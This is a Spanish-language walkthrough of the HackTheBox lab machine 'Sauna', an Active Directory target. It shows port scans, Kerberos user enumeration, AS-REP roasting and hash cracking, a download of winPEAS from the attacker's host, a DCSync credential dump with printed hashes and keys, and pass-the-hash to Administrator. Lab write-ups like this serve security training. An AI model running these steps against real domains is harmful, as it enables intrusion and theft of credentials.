HackTheBox Sauna

❯ nmap -sS -Pn -n -vvv --open --min-rate 5000 10.10.10.175 -oG port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 16:58 EDT
Initiating SYN Stealth Scan at 16:58

PORT     STATE SERVICE          REASON
53/tcp   open  domain           syn-ack ttl 127
80/tcp   open  http             syn-ack ttl 127
88/tcp   open  kerberos-sec     syn-ack ttl 127
135/tcp  open  msrpc            syn-ack ttl 127
139/tcp  open  netbios-ssn      syn-ack ttl 127
389/tcp  open  ldap             syn-ack ttl 127
445/tcp  open  microsoft-ds     syn-ack ttl 127
464/tcp  open  kpasswd5         syn-ack ttl 127
593/tcp  open  http-rpc-epmap   syn-ack ttl 127
636/tcp  open  ldapssl          syn-ack ttl 127
3268/tcp open  globalcatLDAP    syn-ack ttl 127
3269/tcp open  globalcatLDAPssl syn-ack ttl 127

Puertos abiertos


❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269 10.10.10.175 -oN target.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 17:01 EDT
Nmap scan report for 10.10.10.175
Host is up (0.037s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-21 22:37:48Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-21T22:37:52
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 1h36m09s

Puertos versiones y servicios que corren.


❯ ldapsearch -x -H ldap://10.10.10.175 -s base | grep ldapServiceName
ldapServiceName: EGOTISTICAL-BANK.LOCAL:sauna$@EGOTISTICAL-BANK.LOCAL

Comprovamos el dominio y lo agregamos a nuestro /etc/hosts.


Probaremos de acceder al sitio web para ver que nos encontramos, a primera vista no encontramos nada interesante.


Kerberos

❯ kerbrute userenum --dc 10.10.10.175 -d EGOTISTICAL-BANK.local usernames.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 04/21/25 - Ronnie Flathers @ropnop

2025/04/21 17:19:06 >  Using KDC(s):
2025/04/21 17:19:06 >  	10.10.10.175:88

2025/04/21 17:19:06 >  [+] VALID USERNAME:	administrator@EGOTISTICAL-BANK.local
2025/04/21 17:19:06 >  Done! Tested 17 usernames (1 valid) in 0.105 seconds

Dado que el servicio Kerberos (puerto 88) se encuentra expuesto, utilizaremos la herramienta Kerbrute para realizar una enumeración de usuarios mediante un diccionario personalizado con los nombres que estan en la web. Tras ejecutar el ataque durante un tiempo, únicamente se logró identificar un usuario válido.

Agregue administrator a los ususarios.

Fergus Smith
Shaun Coins
Sophie Driver
Bowie Taylor
Hugo Bear
Steven Kerb
administrator

#!/bin/bash

# Archivo de entrada con nombres completos
input_file="usernamesPage.txt"
output_file="generated-unames.txt"

# Vaciar el archivo de salida
> "$output_file"

while IFS=' ' read -r first last; do
    # Pasamos todo a minúsculas
    first_lc=$(echo "$first" | tr '[:upper:]' '[:lower:]')
    last_lc=$(echo "$last" | tr '[:upper:]' '[:lower:]')

    # Generamos combinaciones
    echo "$first_lc" >> "$output_file"        # first
    echo "$last_lc" >> "$output_file"         # last
    echo "${first_lc:0:1}$last_lc" >> "$output_file"     # flast
    echo "$first_lc.$last_lc" >> "$output_file"          # first.last
    echo "${first_lc}${last_lc:0:1}" >> "$output_file"   # firstl
done < "$input_file"

Nos creamos un script en bash Este script toma un archivo de entrada (usernamesPage.txt) que contiene nombres completos (por ejemplo, "Fergus Smith") y genera varias combinaciones de nombres de usuario basadas en diferentes formatos. El resultado se guarda en generated-unames.txt.


❯ while read username; do impacket-GetNPUsers egotistical-bank.local/"$username" -request -no-pass -dc-ip 10.10.10.175 >> hash.txt; done < generated-unames.txt 2>/dev/null

Con el Impacket de impacket-GetNPUsers procederemos a realizar un ataque para enumerar usuarios con el atributo de autenticación previa don't require Kerberos (DONT_REQ_PREAUTH). Lo que realiza este comando es recorrer línea por línea el archivo generado en el paso anterior para probar con todos los usuarios. Hemos obtenido un tiquet GTG para el usuario "fsmith" con su respectivo hash de Krb5.


❯ echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:4095933151da82e92a4df0d15357d70e$0cd4618143142a11f8681e4265a36886b95de4f9a8af9eea72320389fa1c012f9bde706b6854acb2309b587b2f5894a21bac2c2cab00cb2ba2e76467f911fa591fb1cfb892cb04e9ae2fd63e6a5c81468911478919db03741a0922f15551dd6e9b833a00e91eea6c76d3dc37a0924f91af0e510cbba04a6187bc709376357f38f3da94814d3c491c429dc1faca6f01bbe532b2fa01357713f4a6c9b59373c6dd241e2ebf706ac81148e442033a3dba95e0b7481acd832777838228b9995932caa76ec31cb943c5b127e021cb5f21d7ed9c5764efe1e1fec9bb303802e0625978944dc8e521787b288161d387bcef43c348b95699a5ac2ef33646a23d2cef743c' > fsmith.hash

❯ john -w:/usr/share/wordlists/rockyou.txt fsmith.hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)     
1g 0:00:00:13 DONE (2025-04-21 17:47) 0.07604g/s 801445p/s 801445c/s 801445C/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Crakeamos el hash y bueno obtenemos la contraseña.


❯ nxc winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' 2>/dev/null
WINRM       10.10.10.175    5985   SAUNA            [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)

El comando intenta conectarse al servicio WinRM en la IP 10.10.10.175 usando el usuario fsmith y la contraseña Thestrokes23, solo para comprobar si las credenciales son correctas. Si son válidas, la herramienta responderá con éxito. Si no lo son, no mostrará errores porque los estamos ocultando con 2>/dev/null.


Tenemos la primera bandera la de user.


Privilege Escalation

Invoke-WebRequest -Uri http://10.10.14.18:8000/winPEASx64.exe -OutFile winPEASx64.exe

Nos transferimos el winPeas a la maquina victima.


*Evil-WinRM* PS C:\temp> ./winPEASx64.exe

ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

Encontrado un AutoLogon con las credenciales de un usuario.


Impacket-secretsdump ataque DCSync

❯ impacket-secretsdump -just-dc EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:06d18c457aad735bd4b04b71b5306ca3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:e6637feb01bcf83b8b2329ba339944b13b751eb314bd7334d78572c0e25cac30
SAUNA$:aes128-cts-hmac-sha1-96:c5b5b4504b36e2145dfddf2e7948a016
SAUNA$:des-cbc-md5:104c515b86739e08
[*] Cleaning up... 

HAcemos ataque DCSync, que consiste en

Hacer que un Domain Controller (DC) te dé los hashes de contraseña como si fueras otro controlador de dominio (¡como si tú también fueras parte del dominio!).


PassTheHash

Una vez obtenido el hash del usuario "Administrator", procederemos a conectarnos al WinRM con evil-winrm indicando que queremos acceder con el usuario "Administrator" y el hash encontrado.

Somos Administrator maquina resuelta.

Última actualización